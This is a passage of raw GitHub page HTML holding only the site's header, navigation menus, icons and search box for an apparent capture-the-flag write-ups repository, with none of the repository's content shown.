<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="267159226" data-scoped-search-url="/PWN-to-0xE4/Writeups/search" data-owner-scoped-search-url="/orgs/PWN-to-0xE4/search" data-unscoped-search-url="/search" data-turbo="false" action="/PWN-to-0xE4/Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="OTKohVA2R+zyPqlNYpjBJgQ2s4edXnk65q6dEtQ65qm7AKx7r9c5WkhFFiAIrWh3NArgfjqvJop3lSLtJPzTdQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 